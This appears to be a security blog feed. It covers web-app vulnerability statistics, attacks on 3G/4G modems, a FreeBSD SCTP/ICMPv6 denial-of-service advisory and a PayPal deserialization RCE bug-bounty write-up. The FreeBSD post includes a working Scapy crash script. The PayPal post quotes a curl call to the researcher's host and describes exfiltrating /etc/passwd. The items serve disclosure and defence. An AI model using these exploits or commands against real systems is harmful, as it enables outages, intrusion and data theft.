The results in 2014 are similar to those of 2013 as 81% of PHP systems suffer from dangerous vulnerabilities, compared to 76% in 2013, making it the most vulnerable language. ASP. NET applications, by contrast, became less vulnerable, dropping from 55% in 2013 to 44% in 2014. An average PHP application contains 11 critical vulnerabilities while an ASP.NET application contains 8.4. These statistics are heavily skewed by one outlier, an ASP.NET system that had 60 high severity level flaws. If this outlier case is excluded, the average number of critical vulnerabilities found drops to only 2 vulnerabilities per application.

It is also worth noting that the amount of PHP resources exposed to XSS is drastically higher (95%) than the corresponding data for ASP.NET (44%). This might be due to the ASP. NET built-in basic defense mechanisms against such attacks (Request Validation).


Vulnerabilities by Server

86% of web applications run by Nginx servers contain high severity level vulnerabilities. The web applications run on Microsoft ISSbased resources had similar vulnerabilities in 44% of cases, a decrease from 2013 where the incidents occurred in 71% of cases. By contrast, the vulnerabilities in Apache sites increased dramatically from 2013 to 2014, from 10% to 70%.

The most common administrative error is Fingerprinting, which was present in 8 out of 10 Apache-based resources. The cause of this vulnerability is that standard configuration of the examined servers allows for disclosure of information about a server version through error messages (for example, when calling to a nonexistent resource).

Vulnerabilities by Industry

The banking industry featured 89% of all high severity level vulnerabilities. This might be caused in part by the testing pool used. The majority of the resources tested were not e-banking services or other systems that handle money transactions, so they may not feature the highest levels of data security. The telecoms industry also had an 80% high severity level vulnerability, followed by the manufacturing sector, 71%, IT, 67%, and e-commerce, 42%.

Judging by the average number of vulnerabilities per system, the least protected sites are in the manufacturing industry with 18 critical flaws per application. It is worth noting that the aforementioned application with 60 vulnerabilities was from the manufacturing sector. If that outlier is removed, the average number drops to 13.1, which mimics the rate in banking.

In 2014, SQL Injection, XML Injection and Directory Traversal vulnerabilities were most common vulnerabilities. Similar to the previous year, SQL Injection flaw was present in web application from all industries.


Percentage of vulnerable websites by industry

Vulnerabilities in Production and Test Sites

71% of the production web resources and 50% of the test sites surveyed contained critical vulnerabilities. The average number of the high level severity vulnerabilities detected in the test systems, 12.8, is almost twice as high compared to the production ones, 7; however, the latter contain larger number of medium severity vulnerabilities (20.6 vs 14.3).

Comparison of Testing Methods

Positive Technologies experts compared the results of white-box testing (using internal system data including source codes) and the results that came from black- and grey-box testing (using privileges identical to those a potential attacker might have). The number of sites containing high and medium severity level vulnerabilities was similar across all three testing methodologies. Even if an attacker does not have access to source code, web applications are not necessarily secure.

By contrast, source code analysis, rather than black- and grey-box testing, allows for better quality vulnerability assessment for each application. In particular, white-box testing discovers 3.5 times more medium severity flaws on average compared to black- and grey-box testing methods. For example, each site tested with black- and grey-box testing methods uncovered 4 XSS vulnerabilities compared to 29 when employing a white-box testing method.


Number of vulnerabilities per system by their type and testing method


The 2014 results demonstrate a decrease in protection levels of web applications from 2013. Only one site tested had a web application firewall, so that product is not normally being used to protect web applications.

Read the full report here:www.ptsecurity.com/library/whitepapers/
↧
↧

Critical Vulnerabilities in 3G/4G Modems or how to build Big Brother

December 7, 2015, 1:53 am
$
0
0

This report is the continuation of "#root via SMS", a research made by the SCADA Strangelove team in 2014. It was devoted to telecommunications equipment vulnerabilities with modem flaws only partially covered. This document describes vulnerabilities found and exploited in eight popular 3G and 4G modems available in Russia and worldwide. The findings include Remote Code Execution (RCE) in web scripts, integrity attacks, Cross-Site Request Forgery (CSRF), and Cross-Site Scripting (XSS).

The research covers a full range of attacks against carrier customers using these types of modems — device identification, code injection, PC infection, SIM card cloning, data interception, determining subscriber location, getting access to user accounts on the operator's website, and APT attacks.

Equipment

We analyzed eight modems of the following vendors:

  • Huawei (two different modems and a router)
  • Gemtek (a modem and a router)
  • Quanta (two modems)
  • ZTE (one modem)

Not all the modems had vulnerabilities in their factory settings; some of them appeared after the firmware was customized by the service provider.



 For convenience, let's call all the network equipment — both modems and routers — collectively, "modems".

Statistics on Vulnerable Modems


The data was gathered passively from SecurityLab.ru between 01/29/2015 and 02/05/2015 (one week). Our statistics lacks information about Huawei modems, but it can be easily found at shodan.io:


Vulnerabilities Detected

All the modem models investigated had critical vulnerabilities leading to complete system compromise. Virtually all the vulnerabilities could be exploited remotely (see the "Modems" table). Description of the detected vulnerabilities ranked by severity:

1. RCE (five devices)

All the modem web servers are based on simple CGI scripts that are not properly filtrated (except for Huawei modems, and even then only after a few security updates since the vulnerabilities have been disclosed).

All the modems work with the file system — they need to send AT commands, read and write SMS messages, configure firewall rules, etc.

Almost no devices had CSRF protection, which allowed remote code execution by power of social engineering and remote requests through a malicious website. Some modems were also vulnerable to XSS attacks.

Combined, these three factors produce a disappointing result — more than 60% of the modems are vulnerable to Remote Code Execution. You could get an updated firmware without all found vulns for only Huawei modems (there's a public description of the vulnerabilities). The other vulnerabilities are still considered to be zero-day.

2. Integrity Attacks (six devices)

Only three modems were protected against arbitrary firmware modifications. Two of them had the same integrity check algorithms (asymmetrically encrypted SHA1 with RSA digital signature), and the third one used the RC4 stream cipher for firmware encryption.

All the cryptographic algorithms proved to be vulnerable to attacks violating integrity and confidentiality. In the former case, we can modify the firmware by injecting an arbitrary code. In the latter case, given the weak implementation of the algorithm, we managed to extract the encryption key and determine the encryption algorithm, which also allows firmware modification.

The other three modems had no protection from integrity attacks, but a local access to COM interfaces was required to update the firmware.

The remaining two modems could be updated only though the carrier's network via Firmware Over-The-Air (FOTA) technology.

3. CSRF (five devices)

CSRF attacks can be used for various purposes, but the primary ones are remote upload of modified firmware and successful arbitrary code injection. Using unique tokens for each request is an efficient protection against this type of attacks.

4. XSS (four devices)

The scope of this attack is quite wide — from host infection to SMS interception. However, our research focuses mainly on its prime target — modified firmware upload bypassing AntiCSRF checks and the Same-Origin Policy.

Attack Vectors

1. Identification

First, you need to identify a modem for a successful attack. You can send all kinds of requests to exploit RCE or try to upload various updates via all the possible addresses, but it seems to be inefficient and too signally for a target user. The time of infection — from user detection to code injection, modification of modem settings, etc. — is also quite important in the real (not simulated) conditions.

For this very reason, you need to identify the target device properly. To do that, you must use a simple set of picture addresses, which can tell you the model of the modem. This method helped us to identify all the investigated modems 100%. An example of the code:


2. Code Injection

This stage is described in the previous section, points 1 and 2. The code can be injected either though RCE in web scripts, or though uploading infected firmware. The first method allowed us to penetrate five modems, it isn't that complicated.

Let's describe the vectors of the second method in detail.

Two modems used the same algorithm to protect firmware integrity: the digital signature of SHA1 hash sum by an asymmetric RSA key was carried out via an OpenSSL library. The verification was incorrect: after uploading the firmware (an archive), the web server extracted two main files from it — the one specifying the size of the verified data and the one with the signed hash sum. Next, the verification script obtained a public key from the file system and sent a request to OpenSSL functions to decrypt signature and compare hashsum. If hashsums were the same, the update was installed. The firmware compression algorithm had a feature — you could add additional files with the same names to the archive, but its first bytes wouldn't change. In addition, when we extracted the firmware, the later files overrode the earlier files. This allows changing the firmware without affecting data integrity checks.


 The firmware of the third modem was encrypted by the RC4 algorithm with a constant keystream. As there were three different firmware versions on the Internet, you could get several bytes of plain text where there were bytes 0x00 in a file of the unencrypted firmware.


 Then, we extracted the ISO image of the modem's virtual CDROM, which allowed us to decipher the first several kilobytes of the each firmware image. They contained the encryption algorithm and address of the encryption key. By XORing the two pieces of firmware, we obtained the plain text of the key itself.

Dmitry Sklyarov, an experienced cryptanalyst and reverse engineer from Positive Technologies, helped us a lot to conduct attacks against cryptographic protocols.

You can use CSRF for remote upload and HTML5 functions for transferring multipart/form-data, or XSS if an application is protected against CSRF (Huawei modem). Only three Huawei modems had this kind of protection, which could be bypassed via XSS, though. In all other cases, an attacker could use the HTML5 code located on a special web page (you can download an example from http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html).

Gemtek modems required a special utility for firmware updates installed on PC. In this case, firmware was uploaded though host internet connection via HTTP. After that, the firmware integrity was verified by checksums uploaded from the server. We failed to test this scenario.
However, it’s no use hoping that a vendor that doesn't properly check firmware integrity during upload protects it well enough.

3. Data Interception

Now we can execute an arbitrary code on the modem. You need to do three things: determine the modem’s location (later you will understand why) plus be able to intercept SMS messages and HTTP/HTTPS traffic.


The easiest way to determine location is to find the base station identifier (CellID). Then, with the operator’s MCC and MNC at hand, you can determine the victim’s exact location by means of some public bases, such as opencellid.org. Another method is to use the modem’s Wi-Fi card to scan nearby networks and determine the victim’s location area more accurately, given that one base station may have quite a broad coverage. We managed to obtain the CellID of six modems; Wi-Fi was available in two devices.  We had to recompile and upload new network card drivers for one of the modems. Its previous driver allowed only the Ad Hoc mode, which prevents scanning nearby APs.


 We studied two types of modems: with and without SMS support. The first type also didn’t allow SMS reading though AT commands. The second type allowed SMS reading via XSS. The messages are usually stored in the file system, and it’s not so difficult to get access to them for reading or sending SMS messages and USSD requests.

Traffic interception is more interesting. There are several ways to do that: by changing the modem’s DNS server settings, or replacing the modem’s gateway with the Wi-Fi interface and connecting to an hacker’s access point (that’s why you should know the victim’s location). The first method is simpler: changing the settings is a piece of cake, as they are also stored in the file system. We managed to do that for all but one modem. We studied the second method only in theory — switching the network card mode from ad hoc to active, connecting to an access point, and changing modem routing.

Not only HTTP traffic can be intercepted. By injecting and executing a VBS code on an HTML page, you can add your certificate to the Trusted Root Certification Authorities and successfully conduct MITM attacks:


4. SIM Card Cloning and 2G Traffic Interception

The attacks against SIM card applications were described in detail by Karsten Nohl and in the “#root via SMS” research.  We still have to send binary SMS messages to SIM cards, as we failed to make modems send commands to SIM card applications via APDU.

It’s not that bad, though — by injecting an arbitrary code to a modem, you can extend the attack scope by means of binary SMS messages. Firstly, you can now send these messages “to yourself” from the target SIM card via the AT interface by switching the modem to the test mode and working with the COM port. You can do that in the background —the web interface will be available to the victim, who will hardly notice mode changeover. Secondly, you need to exchange data with the COM port via injecting a VBS code to the modem page and executing it with user rights with the help of social engineering.


 Switching the modem to the test mode


The PowerShell script for sending a binary SMS message

Using FakeBTS is the next attack vector, and you also need to know the victim’s location for it. Having the victim’s exact location and IMSI at hand, we can use a fake base station nearby and wait until the subscriber connects to us, or we can force a base station (it is possible for five devices). If the operation is successful, we will be able to send binary SMS messages to the target SIM card without any restrictions from the operator.

5. PC Infection

If we penetrate a modem, we have very few attack vectors. However, infecting a PC connected to the modem provides us with many ways to steal and intercept the PC user's data.
You may have already heard of the main infection vector — bad USB. There are also some other methods involving social engineering:

  • Virtual CDROM. Almost all the modems have a virtual drive image that is enabled for driver installation. You need to replace the image and force its mounting.
  • VBS, drive-by-download. Code injection to an HTML page, or forced upload of executable files as updates or “diag utilities”.
  • Browser 0-days. As an example, we used Adobe Flash 0-day found in the archives of Hacking Team.
  • Vulnerable client software. One of the operators delivered vulnerable diagnostic software together with its modems, which allowed executing an arbitrary code on Windows and OS X PCs. Reference: we'd like to give a special thanks to Mikhail Firstov from Headlight Security for detecting this vulnerability.

Random Code Execution in the client software of a modem

6. APT Attacks

After infecting the modem and host, you need to stay in the systems somehow — save changes in the modem's even after it is switched off and prevent further firmware updates. It would be useful to detect and infect other vulnerable modems as soon as they will be connected to the PC. Most of the devices can be infected right at the phone store during "checking before buying".

There was another attack we failed to conduct — accessing the modem from the operator's network. Most vulnerable web servers listen at *:80, i.e. there's a chance that the modem's web server will be available from the operator's network. Only a few modems restrict connections incoming from the telecom's network or specify the address for listen 192.168.0.1:80.

7. Additional Information

We also studied getting access to a personal account by sending a USSD request and resetting password via an SMS message.

This vector was demonstrated during the "#root via SMS" presentation. The vulnerability was exploited through an XSS attack that could be conducted by sending an SMS message. However, an attacker can also do that in modems that allow SMS reading via RCE.


 XSS exploitation results

Summary

All in all, we have a full infection cycle of devices and related PCs. Using the infected devices, we can determine location, intercept and send SMS messages and USSD requests, read HTTP and HTTPS traffic (by replacing SSL certificates), attack SIM cards via binary SMS messages, and intercept 2G traffic. Further infection can continue through the operator's networks, popular websites or equipment infected by worms (when connecting a new device).

What can we recommend to those clients who constantly work with such devices? Huawei modems with the latest firmware updates are the most protected. It is the only company that delivers firmware (the operators are only allowed to add some visual elements and enable/disable certain functions) and fixes vulnerabilities detected in its software.
 
Modems



Information Disclosure

Although 90 days had left since the service providers were informed of the vulnerabilities, many flaws remained unfixed.

Credits: Alexey Osipov, Dmitry Sklyarov, Kirill Nesterov, Mikhail Firstov, and the SCADA Strangelove team (http://scadasl.org)

ZeroNights slides:



↧

FreeBSD Remote DoS Exploit (Demo) (CVE-2016-1879)

January 24, 2016, 10:03 pm
$
0
0

The FreeBSD team has announced their operating system was detected to contain critical vulnerabilities that could be exploited to conduct DoS attacks, escalate user privileges, and disclose important data.

SCTP ICMPv6 error processing vulnerability (CVE-2016-1879)

SCTP (stream control transmission protocol) is a transport-layer protocol designed to transfer signaling messages in an IP environment. As a rule, mobile operators use this protocol in technological networks.

This vulnerability threatens FreeBSD systems (versions 9.3, 10.1, and 10.2) if they support SCTP and IPv6 (default configuration). To exploit this flaw, a malefactor needs to send a specially crafted ICMPv6 message. And if he succeeds, he can conduct a DoS attack.

Denial of service is caused by improper check of the length of an SCTP packet header received from the ICMPv6 error message. If the target recipient is unavailable, the router can generate an error message and send it to the sender via ICMPv6.

This ICMPv6 packet includes the original IPv6 packet where the Next Header field indicates how SCTP is encapsulated.



When the kernel receives the error message via ICMPv6, it transfers the upper-level protocol packet to a necessary parser (sctp6_ctlinput()). The SCTP parser considers the incoming header has the required length, tries to copy it using m_copydata(), which has offset values and the number of bytes. Since a twelve-byte chunk is expected, if the attacker sends a packet with an eleven-byte header, a NULL pointer is dereferenced causing kernel panic.

There is no need for an open SCTP socket to successfully exploit this vulnerability. Scapy can help to create an ICMPv6 packet.

#!/usr/bin/env python# -*- coding: utf-8 -*-import argparse from scapy.all import * defget_args(): parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78) parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address") parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address") parser.add_argument("-I", "--iface", type=str, help="Iface") options = parser.parse_args() if options.dst_mac isNoneor options.dst_ipv6 isNone: parser.print_help() exit() return options if __name__ == '__main__': options = get_args() sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132, src=options.dst_ipv6, dst='fe80::230:56ff:fea6:648c'), iface=options.iface)

Below is the video demonstration of the attack.



To protect your system from this flaw, we recommend that you perform the following:

  • Disable IPv6 addressing if not necessary
  • Block ICMPv6 or IPv6 traffic on the firewall
  • Disable the SCTP stack support in the OS kernel if it is not needed (kernel recompilation is required)

To fix the vulnerability, you can use the vendor's patch, which installs additional checks for processing SCTP ICMPv6 messages. The kernel recompilation is required.

And that's not the half of it

The system was also detected to include other severe vulnerabilities. The FreeBSD developers released several patches to close these flaws:

  1. A vulnerability that allows for a DoS attack via exploiting TCP connections if TCP_MD5SIG and TCP_NOOPT are enabled. A hacker needs to open a listening socket with the TCP_NOOPT option enabled to exploit this flaw (CVE-2016-1882, the patch).
  2. A vulnerability that allows for user privilege escalation or DoS. It is caused by an access control error that makes it possible to rewrite random memory fields using Linux setgroups(2) (CVE-2016-1881, the patch).
  3. A Linux Robust Futex error allows for system memory data disclosure (CVE-2016-1880, the patch).
  4. Insecure default settings that allow access to the daemon configuration file “/etc/bsnmpd.conf” (CVE-2015-5677, the patch).

To protect your systems from exploitation of these vulnerabilities, Positive Technologies recommend that you use IPv6 addressing only if it is strongly required, install security patches timely, and use special tools to control system security (e.g. MaxPatrol).

↧

PayPal Remote Code Execution

February 8, 2016, 4:44 am
$
0
0

In December 2015, I found a critical vulnerability in one of PayPal business websites (manager.paypal.com). It allowed me to execute arbitrary shell commands on PayPal web servers via unsafe Java object deserialization and to access production databases. I immediately reported this bug to PayPal security team, and it was fixed promptly.

Details

While testing manager.paypal.com, I came across an unusual post form the oldFormData parameter that looks like a complex object after base64 decoding:


The following research showed that it is a Java serialized object without any signature. It means you can send a serialized object of any existing class to the server, and the readObject (or readResolve) method of that class will be called. For exploitation, you need to find a suitable class in the classpath application, which can be serialized and has something interesting (from exploitation point of view) in the readObject method. You can read about this technique in a recent article by FoxGlove Security. A year ago, Chris Frohoff (@frohoff) and Gabriel Lawrence (@gebl) found suitable classes in Commons Collections library that could lead to remote code execution. They also published the ysoserial payload generation tool on their github page.

Exploit

I downloaded this tool and generated a simple payload that sends DNS and HTTP requests to my own server by executing the “curl x.s.artsploit.com/paypal” shell command.


Then I sent the base64 encoded payload in the oldFormData parameter to the application server and was impressed by an incoming request from the PayPal network that appeared in my NGINX access log:


I realized that I could execute arbitrary OS commands on the web servers of manager.paypal.com, establish a back connection to my own Internet server, and, for example, upload and execute a backdoor. As a result, I could access production databases used by the application of manager.paypal.com.

Instead, I just read the /etc/passwd file by sending it to my server as a proof of the vulnerability.


I also recorded a video how to reproduce this vulnerability and reported it to the PayPal security team.

Later, I found out that many other endpoints of the manager.paypal.com application also use serialized objects and can be exploited.

In a month, my report received a Duplicate status because another researcher, Mark Litchfield, reported a similar vulnerability two days earlier than I did (on December 11, 2015). PayPal decided to pay me a good bounty anyway, and I have nothing but respect for them.

Demo



Author: Michael Stepankin (Artsploit)

Аrticle original posted here

↧
Viewing all 198 articles
Browse latest View live
Search